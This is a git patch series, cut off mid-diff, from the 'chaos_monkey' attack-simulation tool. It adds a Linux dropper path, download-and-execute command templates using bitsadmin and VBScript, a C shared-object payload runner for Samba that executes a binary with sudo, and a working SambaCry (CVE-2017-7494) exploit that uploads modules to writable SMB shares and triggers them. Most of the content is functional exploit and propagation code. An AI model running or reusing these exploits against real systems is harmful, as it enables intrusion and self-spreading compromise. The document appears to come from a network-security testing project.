From 6f74a5e6cca1c18dadbd6c7c735db17f9c52ff57 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Sun, 27 Aug 2017 19:18:11 +0300 Subject: [PATCH 01/19] Add arg parsing to dropper --- chaos_monkey/dropper.py | 30 ++++++++++++++++++++++++++---- 1 file changed, 26 insertions(+), 4 deletions(-) diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py index 4da753c72..15870e2da 100644 --- a/chaos_monkey/dropper.py +++ b/chaos_monkey/dropper.py @@ -6,6 +6,7 @@ import shutil import pprint import logging import subprocess +import argparse from ctypes import c_char_p from model import MONKEY_CMDLINE from config import WormConfiguration @@ -24,14 +25,27 @@ MOVEFILE_DELAY_UNTIL_REBOOT = 4 class MonkeyDrops(object): def __init__(self, args): - self._monkey_args = args[1:] + arg_parser = argparse.ArgumentParser() + arg_parser.add_argument('-p', '--parent') + arg_parser.add_argument('-t', '--tunnel') + arg_parser.add_argument('-s', '--server') + arg_parser.add_argument('-d', '--depth') + arg_parser.add_argument('-l', '--location') + self.monkey_args = args[1:] + self.opts, _ = arg_parser.parse_known_args(args) + self._config = {'source_path': os.path.abspath(sys.argv[0]), - 'destination_path': args[0]} + 'destination_path': self.opts.location} def initialize(self): LOG.debug("Dropper is running with config:\n%s", pprint.pformat(self._config)) def start(self): + + if self._config['destination_path'] is None: + # TODO: log or something. + return + # we copy/move only in case path is different file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower()) @@ -81,8 +95,16 @@ class MonkeyDrops(object): monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path'], } - if 0 != len(self._monkey_args): - monkey_cmdline = "%s %s" % (monkey_cmdline, " ".join(self._monkey_args)) + + if self.opts.parent: + monkey_cmdline += "-p %s" % self.opts.parent + if self.opts.tunnel: + monkey_cmdline += "-t %s" % self.opts.tunnel + if self.opts.server: + monkey_cmdline += "-s %s" % self.opts.server + if self.opts.depth: + monkey_cmdline += "-d %s" % self.opts.depth + monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, close_fds=True, creationflags=DETACHED_PROCESS) From 332a11b2723f962c53f26643288fc887c01da703 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 28 Aug 2017 09:41:27 +0300 Subject: [PATCH 02/19] minor fix in dropper --- chaos_monkey/dropper.py | 17 ++++++++++------- chaos_monkey/model/__init__.py | 2 ++ 2 files changed, 12 insertions(+), 7 deletions(-) diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py index 15870e2da..070c46751 100644 --- a/chaos_monkey/dropper.py +++ b/chaos_monkey/dropper.py @@ -10,6 +10,7 @@ import argparse from ctypes import c_char_p from model import MONKEY_CMDLINE from config import WormConfiguration +from system_info import SystemInfoCollector, OperatingSystem if "win32" == sys.platform: from win32process import DETACHED_PROCESS @@ -92,19 +93,21 @@ class MonkeyDrops(object): except: LOG.warn("Cannot set reference date to destination file") - monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path'], - } + if OperatingSystem.Windows == SystemInfoCollector.get_os(): + monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path']} + else: + monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path']} if self.opts.parent: - monkey_cmdline += "-p %s" % self.opts.parent + monkey_cmdline += " -p %s" % self.opts.parent if self.opts.tunnel: - monkey_cmdline += "-t %s" % self.opts.tunnel + monkey_cmdline += " -t %s" % self.opts.tunnel if self.opts.server: - monkey_cmdline += "-s %s" % self.opts.server + monkey_cmdline += " -s %s" % self.opts.server if self.opts.depth: - monkey_cmdline += "-d %s" % self.opts.depth - + monkey_cmdline += " -d %s" % self.opts.depth + monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, close_fds=True, creationflags=DETACHED_PROCESS) diff --git a/chaos_monkey/model/__init__.py b/chaos_monkey/model/__init__.py index 67c06bf47..1e835cfb5 100644 --- a/chaos_monkey/model/__init__.py +++ b/chaos_monkey/model/__init__.py @@ -5,7 +5,9 @@ __author__ = 'itamar' MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" DROPPER_CMDLINE = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) +# TODO: rename to WINDOWS/LINUX appropriately MONKEY_CMDLINE = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) +MONKEY_CMDLINE_LINUX = './%%(monkey_path)s %s' % (MONKEY_ARG, ) DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, ) From 9f93fb8310230ba9218185347ddf16398f0493c7 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 28 Aug 2017 09:46:29 +0300 Subject: [PATCH 03/19] minor fix in dropper --- chaos_monkey/dropper.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py index 070c46751..35390786d 100644 --- a/chaos_monkey/dropper.py +++ b/chaos_monkey/dropper.py @@ -8,7 +8,7 @@ import logging import subprocess import argparse from ctypes import c_char_p -from model import MONKEY_CMDLINE +from model import MONKEY_CMDLINE, MONKEY_CMDLINE_LINUX from config import WormConfiguration from system_info import SystemInfoCollector, OperatingSystem @@ -96,7 +96,7 @@ class MonkeyDrops(object): if OperatingSystem.Windows == SystemInfoCollector.get_os(): monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path']} else: - monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path']} + monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_path': self._config['destination_path']} if self.opts.parent: From 57e69fafee185fe7ab2859789982cbf789bb5be1 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 28 Aug 2017 10:41:11 +0300 Subject: [PATCH 04/19] minor fix in dropper Rename constants --- chaos_monkey/dropper.py | 25 ++++++++++++++----------- chaos_monkey/exploit/smbexec.py | 6 +++--- chaos_monkey/exploit/win_ms08_067.py | 6 +++--- chaos_monkey/exploit/wmiexec.py | 6 +++--- chaos_monkey/model/__init__.py | 12 ++++++------ 5 files changed, 29 insertions(+), 26 deletions(-) diff --git a/chaos_monkey/dropper.py b/chaos_monkey/dropper.py index 35390786d..d624775c6 100644 --- a/chaos_monkey/dropper.py +++ b/chaos_monkey/dropper.py @@ -8,7 +8,7 @@ import logging import subprocess import argparse from ctypes import c_char_p -from model import MONKEY_CMDLINE, MONKEY_CMDLINE_LINUX +from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX from config import WormConfiguration from system_info import SystemInfoCollector, OperatingSystem @@ -93,20 +93,23 @@ class MonkeyDrops(object): except: LOG.warn("Cannot set reference date to destination file") - if OperatingSystem.Windows == SystemInfoCollector.get_os(): - monkey_cmdline = MONKEY_CMDLINE % {'monkey_path': self._config['destination_path']} - else: - monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_path': self._config['destination_path']} - - + monkey_options = "" if self.opts.parent: - monkey_cmdline += " -p %s" % self.opts.parent + monkey_options += " -p %s" % self.opts.parent if self.opts.tunnel: - monkey_cmdline += " -t %s" % self.opts.tunnel + monkey_options += " -t %s" % self.opts.tunnel if self.opts.server: - monkey_cmdline += " -s %s" % self.opts.server + monkey_options += " -s %s" % self.opts.server if self.opts.depth: - monkey_cmdline += " -d %s" % self.opts.depth + monkey_options += " -d %s" % self.opts.depth + + if OperatingSystem.Windows == SystemInfoCollector.get_os(): + monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options + else: + dest_path = self._config['destination_path'] + monkey_cmdline = MONKEY_CMDLINE_LINUX % {'monkey_filename': dest_path.split("/")[-1]} + monkey_options + monkey_cmdline = GENERAL_CMDLINE_LINUX % {'monkey_directory': dest_path[0:dest_path.rfind("/")], + 'monkey_commandline': monkey_cmdline} monkey_process = subprocess.Popen(monkey_cmdline, shell=True, stdin=None, stdout=None, stderr=None, diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py index 307cbfa02..e23818f4d 100644 --- a/chaos_monkey/exploit/smbexec.py +++ b/chaos_monkey/exploit/smbexec.py @@ -1,7 +1,7 @@ import sys from logging import getLogger from model.host import VictimHost -from model import MONKEY_CMDLINE_DETACHED, DROPPER_CMDLINE_DETACHED +from model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDLINE_DETACHED_WINDOWS from exploit import HostExploiter from network.tools import check_port_tcp from exploit.tools import SmbTools, get_target_monkey @@ -99,9 +99,9 @@ class SmbExploiter(HostExploiter): # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path.lower(): - cmdline = DROPPER_CMDLINE_DETACHED % {'dropper_path': remote_full_path} + cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} else: - cmdline = MONKEY_CMDLINE_DETACHED % {'monkey_path': remote_full_path} + cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} cmdline += build_monkey_commandline(host, depth - 1) diff --git a/chaos_monkey/exploit/win_ms08_067.py b/chaos_monkey/exploit/win_ms08_067.py index 02f144851..a372070a8 100644 --- a/chaos_monkey/exploit/win_ms08_067.py +++ b/chaos_monkey/exploit/win_ms08_067.py @@ -12,7 +12,7 @@ import socket from enum import IntEnum from logging import getLogger from model.host import VictimHost -from model import DROPPER_CMDLINE, MONKEY_CMDLINE +from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from . import HostExploiter from exploit.tools import SmbTools, get_target_monkey from network.tools import check_port_tcp @@ -249,9 +249,9 @@ class Ms08_067_Exploiter(HostExploiter): # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path.lower(): - cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path} + cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} else: - cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path} + cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} cmdline += build_monkey_commandline(host, depth - 1) diff --git a/chaos_monkey/exploit/wmiexec.py b/chaos_monkey/exploit/wmiexec.py index 8b4231793..298ec5436 100644 --- a/chaos_monkey/exploit/wmiexec.py +++ b/chaos_monkey/exploit/wmiexec.py @@ -3,7 +3,7 @@ import ntpath import logging import traceback from tools import build_monkey_commandline -from model import DROPPER_CMDLINE, MONKEY_CMDLINE +from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from model.host import VictimHost from exploit import HostExploiter from exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, report_failed_login @@ -84,9 +84,9 @@ class WmiExploiter(HostExploiter): return False # execute the remote dropper in case the path isn't final elif remote_full_path.lower() != self._config.dropper_target_path.lower(): - cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path} + cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} else: - cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path} + cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} cmdline += build_monkey_commandline(host, depth - 1) diff --git a/chaos_monkey/model/__init__.py b/chaos_monkey/model/__init__.py index 1e835cfb5..1296570e1 100644 --- a/chaos_monkey/model/__init__.py +++ b/chaos_monkey/model/__init__.py @@ -4,12 +4,12 @@ __author__ = 'itamar' MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" -DROPPER_CMDLINE = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) -# TODO: rename to WINDOWS/LINUX appropriately -MONKEY_CMDLINE = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) -MONKEY_CMDLINE_LINUX = './%%(monkey_path)s %s' % (MONKEY_ARG, ) -DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) -MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) +DROPPER_CMDLINE_WINDOWS = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) +MONKEY_CMDLINE_WINDOWS = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) +MONKEY_CMDLINE_LINUX = './%%(monkey_filename)s %s' % (MONKEY_ARG, ) +GENERAL_CMDLINE_LINUX = '(cd %(monkey_directory)s && %(monkey_commandline)s)' +DROPPER_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, ) +MONKEY_CMDLINE_DETACHED_WINDOWS = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, ) MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s %%(parameters)s' % (MONKEY_ARG, ) RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("WinHttp.WinHttpRequest.5.1")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s %%(parameters)s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, ) From c254412c9f78b4168d8491ebbfc6655b10b6e0a6 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 28 Aug 2017 16:37:33 +0300 Subject: [PATCH 05/19] Add monkey_runner.so sourcecode --- chaos_monkey/monkey_utils/build.sh | 2 + chaos_monkey/monkey_utils/monkey_runner.c | 138 ++++++++++++++++++++++ chaos_monkey/monkey_utils/monkey_runner.h | 7 ++ 3 files changed, 147 insertions(+) create mode 100644 chaos_monkey/monkey_utils/build.sh create mode 100644 chaos_monkey/monkey_utils/monkey_runner.c create mode 100644 chaos_monkey/monkey_utils/monkey_runner.h diff --git a/chaos_monkey/monkey_utils/build.sh b/chaos_monkey/monkey_utils/build.sh new file mode 100644 index 000000000..958a2588c --- /dev/null +++ b/chaos_monkey/monkey_utils/build.sh @@ -0,0 +1,2 @@ +gcc -c -Wall -Werror -fpic monkey_runner.c +gcc -shared -o monkey_runner.so monkey_runner.o \ No newline at end of file diff --git a/chaos_monkey/monkey_utils/monkey_runner.c b/chaos_monkey/monkey_utils/monkey_runner.c new file mode 100644 index 000000000..e83ad82dc --- /dev/null +++ b/chaos_monkey/monkey_utils/monkey_runner.c @@ -0,0 +1,138 @@ +#include +#include +#include +#include +#include + +#include "monkey_runner.h" + +#define LINE_MAX_LENGTH (2048) +#define MAX_PARAMETERS (30) + +int samba_init_module(void) +{ + const char RUNNER_FILENAME[] = "monkey_runner.so"; + const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt"; + const char ACCESS_MODE_STRING[] = "0777"; + const char MONKEY_NAME[] = "monkey"; + const char MONKEY_COPY_NAME[] = "monkey2"; + const char RUN_MONKEY_CMD[] = "sudo ./"; + + int found = 0; + char modulePathLine[LINE_MAX_LENGTH]; + char commandline[LINE_MAX_LENGTH] = {'\0'}; + char* monkeyDirectory; + char* fileNamePointer; + int accessMode; + FILE * pFile; + pid_t pid = 0; + int monkeySize; + void* monkeyBinary; + + pid = fork(); + + if (pid != 0) + { + // error or this is parent - nothing to do but return. + return 0; + } + + // Find fullpath of running module. + pFile = fopen("/proc/self/maps", "r"); + if (pFile == NULL) + { + return 0; + } + + while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) { + fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME); + if (fileNamePointer != NULL) { + found = 1; + break; + } + } + + fclose(pFile); + + // We can't find ourselves in module list + if (found == 0) + { + return 0; + } + + monkeyDirectory = strchr(modulePathLine, '/'); + *fileNamePointer = '\0'; + + if (chdir(monkeyDirectory) < 0) + { + return 0; + } + + // Read commandline + pFile = fopen(COMMANDLINE_FILENAME, "r"); + if (pFile == NULL) + { + return 0; + } + + // Build commandline + strcpy(commandline, RUN_MONKEY_CMD); + strcpy(commandline + strlen(RUN_MONKEY_CMD), MONKEY_COPY_NAME); + commandline[strlen(RUN_MONKEY_CMD) + strlen(MONKEY_COPY_NAME)] = ' '; + + fread(commandline + strlen(RUN_MONKEY_CMD) + strlen(MONKEY_COPY_NAME) + 1, 1, LINE_MAX_LENGTH, pFile); + fclose(pFile); + + // Copy monkey to new file so we'll own it. + pFile = fopen(MONKEY_NAME, "rb"); + + if (pFile == NULL) + { + return 0; + } + + if (0 != fseek (pFile , 0 , SEEK_END)) + { + return 0; + } + + monkeySize = ftell (pFile); + + if (-1 == monkeySize) + { + return 0; + } + + rewind(pFile); + + monkeyBinary = malloc(monkeySize); + + if (0 == monkeyBinary) + { + return 0; + } + + fread(monkeyBinary, 1, monkeySize, pFile); + fclose(pFile); + + pFile = fopen(MONKEY_COPY_NAME, "wb"); + fwrite(monkeyBinary, 1, monkeySize, pFile); + fclose(pFile); + free(monkeyBinary); + + // Change monkey permissions + accessMode = strtol(ACCESS_MODE_STRING, 0, 8); + if (chmod (MONKEY_COPY_NAME, accessMode) < 0) + { + return 0; + } + + system(commandline); + + return 0; +} + +int init_samba_module(void) +{ + return samba_init_module(); +} \ No newline at end of file diff --git a/chaos_monkey/monkey_utils/monkey_runner.h b/chaos_monkey/monkey_utils/monkey_runner.h new file mode 100644 index 000000000..86db653c8 --- /dev/null +++ b/chaos_monkey/monkey_utils/monkey_runner.h @@ -0,0 +1,7 @@ +#ifndef monkey_runner_h__ +#define monkey_runner_h__ + +extern int samba_init_module(void); +extern int init_samba_module(void); + +#endif // monkey_runner_h__ \ No newline at end of file From 919e462a48e4e0123580c67fedb0d0dda42a4cd4 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 28 Aug 2017 18:32:38 +0300 Subject: [PATCH 06/19] remove grequests from monkey-linux spec --- chaos_monkey/monkey-linux.spec | 2 +- chaos_monkey/monkey.spec | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/chaos_monkey/monkey-linux.spec b/chaos_monkey/monkey-linux.spec index 5ebd9779e..16e88810d 100644 --- a/chaos_monkey/monkey-linux.spec +++ b/chaos_monkey/monkey-linux.spec @@ -7,7 +7,7 @@ a = Analysis(['main.py'], pathex=['.'], binaries=None, datas=None, - hiddenimports=['_cffi_backend','grequests'], + hiddenimports=['_cffi_backend'], hookspath=None, runtime_hooks=None, excludes=None, diff --git a/chaos_monkey/monkey.spec b/chaos_monkey/monkey.spec index 11df45517..96c811efd 100644 --- a/chaos_monkey/monkey.spec +++ b/chaos_monkey/monkey.spec @@ -3,7 +3,7 @@ import os import platform a = Analysis(['main.py'], pathex=['.'], - hiddenimports=['_cffi_backend', 'queue','grequests'], + hiddenimports=['_cffi_backend', 'queue'], hookspath=None, runtime_hooks=None) From 7d72150e4ee72e2e5c6918ca6397b3238ba2d25c Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Mon, 28 Aug 2017 19:20:44 +0300 Subject: [PATCH 07/19] Add working POC of sambacry. still needs some modifications to fir monkey, and minor functionality --- chaos_monkey/exploit/sambacry.py | 230 +++++++++++++++++++++++++++++++ 1 file changed, 230 insertions(+) create mode 100644 chaos_monkey/exploit/sambacry.py diff --git a/chaos_monkey/exploit/sambacry.py b/chaos_monkey/exploit/sambacry.py new file mode 100644 index 000000000..5973b9f59 --- /dev/null +++ b/chaos_monkey/exploit/sambacry.py @@ -0,0 +1,230 @@ +from optparse import OptionParser +from impacket.dcerpc.v5 import transport +from os import path +from impacket.smbconnection import SMBConnection +from impacket.smb import SessionError +from impacket.nt_errors import STATUS_OBJECT_NAME_NOT_FOUND, STATUS_ACCESS_DENIED +from impacket.nt_errors import STATUS_SUCCESS +from impacket.smb import FILE_OPEN, SMB_DIALECT, SMB, SMBCommand, SMBNtCreateAndX_Parameters, SMBNtCreateAndX_Data, \ + FILE_READ_DATA, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE, FILE_WRITE_DATA, FILE_DIRECTORY_FILE +from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_DFS_OPERATIONS, SMB2Create, SMB2Packet, \ + SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE, SMB2_SESSION_FLAG_ENCRYPT_DATA +__author__ = 'itay.mizeretz' + +# TODO: add documentation +# TODO: add author +# TODO: add logs +# TODO: add exception handling + +# TODO: remove /home/user +# TODO: take all from config +FOLDER_PATHS_TO_GUESS = ['/mnt', '/tmp', '/storage', '/export', '/share', '/shares', '', '/home/user'] +RUNNER_FILENAME = "monkey_runner.so" +COMMANDLINE_FILENAME = "monkey_commandline.txt" +MONKEY_FILENAME = "monkey" + + +def main(): + parser = OptionParser() + parser.add_option("-t", "--target", dest="target") + + (options, args) = parser.parse_args() + if options.target: + exploiter = SambaCryExploiter() + exploiter.exploit(options.target) + else: + parser.print_help() + +# TODO: inherit from HostExploiter +class SambaCryExploiter: + _target_os_type = ['linux'] + + def __init__(self): + self.module_binary = "" + + def exploit(self, ip): + self.assert_smb_version() + writable_shares = [] + credentials_list = self.get_credentials_list() + for credentials in credentials_list: + smb_client = self.connect_to_server(ip, credentials) + shares = self.list_shares(smb_client) + for share in shares: + if self.upload_module(smb_client, share): + writable_shares.append(share) + self.trigger_module(smb_client, share) + # TODO: delete remains + smb_client.logoff() + + def get_credentials_list(self): + # TODO: get credentials from config + return [{'username': '', 'password': '', 'lm_hash': '', 'ntlm_hash': ''}] + + def list_shares(self, smb_client): + shares = [x['shi1_netname'][:-1] for x in smb_client.listShares()] + shares.remove("IPC$") + return shares + + def assert_smb_version(self): + # TODO: implement + pass + + def upload_module(self, smb_client, share): + try: + tree_id = smb_client.connectTree(share) + smb_client.putFile(share, "\\%s" % COMMANDLINE_FILENAME, self.get_monkey_commandline) + smb_client.putFile(share, "\\%s" % RUNNER_FILENAME, self.get_monkey_runner_bin) + smb_client.putFile(share, "\\%s" % MONKEY_FILENAME, self.get_monkey_bin) + smb_client.disconnectTree(tree_id) + return True + except SessionError as e: + if str(e).find('STATUS_ACCESS_DENIED') >= 0: + return False + raise + + def connect_to_server(self, ip, credentials): + """ + Connects to server using given credentials + :param ip: IP of server + :param credentials: credentials to log in with + :return: SMBConnection object representing the connection + """ + smb_client = SMBConnection(ip, ip) + smb_client.login(credentials["username"], credentials["password"], '', credentials["lm_hash"], credentials["ntlm_hash"]) + return smb_client + + def trigger_module(self, smb_client, share_name): + trigger_might_succeeded = False + module_possible_paths = self.generate_module_possible_paths(share_name) + for module_path in module_possible_paths: + trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path) + + return trigger_might_succeeded + + def trigger_module_by_path(self, smb_client, module_path): + """ + Tries triggering module by path + :param smb_client: smb client object + :param module_path: full path of the module. e.g. "/home/user/share/sc_module.so" + :return: False on unexpected exception. True otherwise + """ + + try: + # the extra / on the beginning is required for the vulnerability + self.openPipe(smb_client, "/" + module_path) + except SessionError as e: + # This is the expected result. We can't tell whether we succeeded or not just by this error code. + if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') < 0: + return False + + return True + + + def generate_module_possible_paths(self, share_name): + """ + Generates array of possible paths + :param share_name: Name of the share + :return: Array of possible full paths to the module. + """ + return (('%s/%s/%s' % (folder_path, share_name, RUNNER_FILENAME)) for folder_path in FOLDER_PATHS_TO_GUESS) + + @staticmethod + def get_monkey_bin(): + # TODO + pass + + @staticmethod + def get_monkey_runner_bin(): + # TODO + pass + + @staticmethod + def get_monkey_commandline(): + # TODO + pass + + # Following are slightly modified SMB functions from impacket to fit our needs of the vulnerability # + + def createSmb(self, smb_client, treeId, fileName, desiredAccess, shareMode, creationOptions, creationDisposition, fileAttributes, + impersonationLevel=SMB2_IL_IMPERSONATION, securityFlags=0, oplockLevel=SMB2_OPLOCK_LEVEL_NONE, + createContexts=None): + + packet = smb_client.getSMBServer().SMB_PACKET() + packet['Command'] = SMB2_CREATE + packet['TreeID'] = treeId + if smb_client._SMBConnection._Session['TreeConnectTable'][treeId]['IsDfsShare'] is True: + packet['Flags'] = SMB2_FLAGS_DFS_OPERATIONS + + smb2Create = SMB2Create() + smb2Create['SecurityFlags'] = 0 + smb2Create['RequestedOplockLevel'] = oplockLevel + smb2Create['ImpersonationLevel'] = impersonationLevel + smb2Create['DesiredAccess'] = desiredAccess + smb2Create['FileAttributes'] = fileAttributes + smb2Create['ShareAccess'] = shareMode + smb2Create['CreateDisposition'] = creationDisposition + smb2Create['CreateOptions'] = creationOptions + + smb2Create['NameLength'] = len(fileName) * 2 + if fileName != '': + smb2Create['Buffer'] = fileName.encode('utf-16le') + else: + smb2Create['Buffer'] = '\x00' + + if createContexts is not None: + smb2Create['Buffer'] += createContexts + smb2Create['CreateContextsOffset'] = len(SMB2Packet()) + SMB2Create.SIZE + smb2Create['NameLength'] + smb2Create['CreateContextsLength'] = len(createContexts) + else: + smb2Create['CreateContextsOffset'] = 0 + smb2Create['CreateContextsLength'] = 0 + + packet['Data'] = smb2Create + + packetID = smb_client.getSMBServer().sendSMB(packet) + ans = smb_client.getSMBServer().recvSMB(packetID) + if ans.isValidAnswer(STATUS_SUCCESS): + createResponse = SMB2Create_Response(ans['Data']) + + # The client MUST generate a handle for the Open, and it MUST + # return success and the generated handle to the calling application. + # In our case, str(FileID) + return str(createResponse['FileID']) + + def openPipe(self, smb_client, pathName): + # We need to overwrite Impacket's openFile functions since they automatically convert paths to NT style + # to make things easier for the caller. Not this time ;) + treeId = smb_client.connectTree('IPC$') + # TODO: uncomment + #logging.info('Final path to load is %s' % pathName) + #logging.info('Triggering bug now, cross your fingers') + + if smb_client.getDialect() == SMB_DIALECT: + _, flags2 = smb_client.getSMBServer().get_flags() + + pathName = pathName.encode('utf-16le') if flags2 & SMB.FLAGS2_UNICODE else pathName + + ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX) + ntCreate['Parameters'] = SMBNtCreateAndX_Parameters() + ntCreate['Data'] = SMBNtCreateAndX_Data(flags=flags2) + ntCreate['Parameters']['FileNameLength'] = len(pathName) + ntCreate['Parameters']['AccessMask'] = FILE_READ_DATA + ntCreate['Parameters']['FileAttributes'] = 0 + ntCreate['Parameters']['ShareAccess'] = FILE_SHARE_READ + ntCreate['Parameters']['Disposition'] = FILE_NON_DIRECTORY_FILE + ntCreate['Parameters']['CreateOptions'] = FILE_OPEN + ntCreate['Parameters']['Impersonation'] = SMB2_IL_IMPERSONATION + ntCreate['Parameters']['SecurityFlags'] = 0 + ntCreate['Parameters']['CreateFlags'] = 0x16 + ntCreate['Data']['FileName'] = pathName + + if flags2 & SMB.FLAGS2_UNICODE: + ntCreate['Data']['Pad'] = 0x0 + + return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate) + else: + return self.createSmb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ, + creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0) + +if __name__=="__main__": + main() \ No newline at end of file From 75e1877ea7ed01bfa27b14ead775630133f1b988 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Tue, 29 Aug 2017 15:32:14 +0300 Subject: [PATCH 08/19] Moved monkey_runner --- chaos_monkey/monkey_utils/{ => sambacry_monkey_runner}/build.sh | 0 .../monkey_utils/{ => sambacry_monkey_runner}/monkey_runner.c | 0 .../monkey_utils/{ => sambacry_monkey_runner}/monkey_runner.h | 0 3 files changed, 0 insertions(+), 0 deletions(-) rename chaos_monkey/monkey_utils/{ => sambacry_monkey_runner}/build.sh (100%) rename chaos_monkey/monkey_utils/{ => sambacry_monkey_runner}/monkey_runner.c (100%) rename chaos_monkey/monkey_utils/{ => sambacry_monkey_runner}/monkey_runner.h (100%) diff --git a/chaos_monkey/monkey_utils/build.sh b/chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh similarity index 100% rename from chaos_monkey/monkey_utils/build.sh rename to chaos_monkey/monkey_utils/sambacry_monkey_runner/build.sh diff --git a/chaos_monkey/monkey_utils/monkey_runner.c b/chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c similarity index 100% rename from chaos_monkey/monkey_utils/monkey_runner.c rename to chaos_monkey/monkey_utils/sambacry_monkey_runner/monkey_runner.c diff --git a/chaos_monkey/monkey_utils/monkey_runner.h 